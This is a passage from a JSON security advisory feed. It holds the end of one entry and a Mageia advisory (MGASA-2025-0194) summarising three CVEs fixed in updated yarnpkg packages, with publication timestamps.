6.1.4-tuxcare.1.","status":"published","published":"2026-10-27T14:48:39Z","modified":"2026-10-27T19:30:02.389047138Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"MGASA-2025-0194","title":"Updated yarnpkg packages fix security vulnerabilities","description":"CVE-2024-37890 yarnpkg: denial of service when handling a request with\nmany HTTP headers.\nCVE-2024-48949 yarnpkg: Missing Validation in Elliptic's EDDSA Signature\nVerification.\nCVE-2024-12905 yarnpkg: link following and path traversal via\nmaliciously crafted tar file\nAnd other vulnerabilities in the yarn's bundled nodejs components are\nfixed too, see the references.\n","status":"published","published":"2025-06-25T05:31:45Z","modified":"2026-04-16T04:42:54.764506997Z","updated_at":"2026-11-02T15:49:43.178336Z"}]}}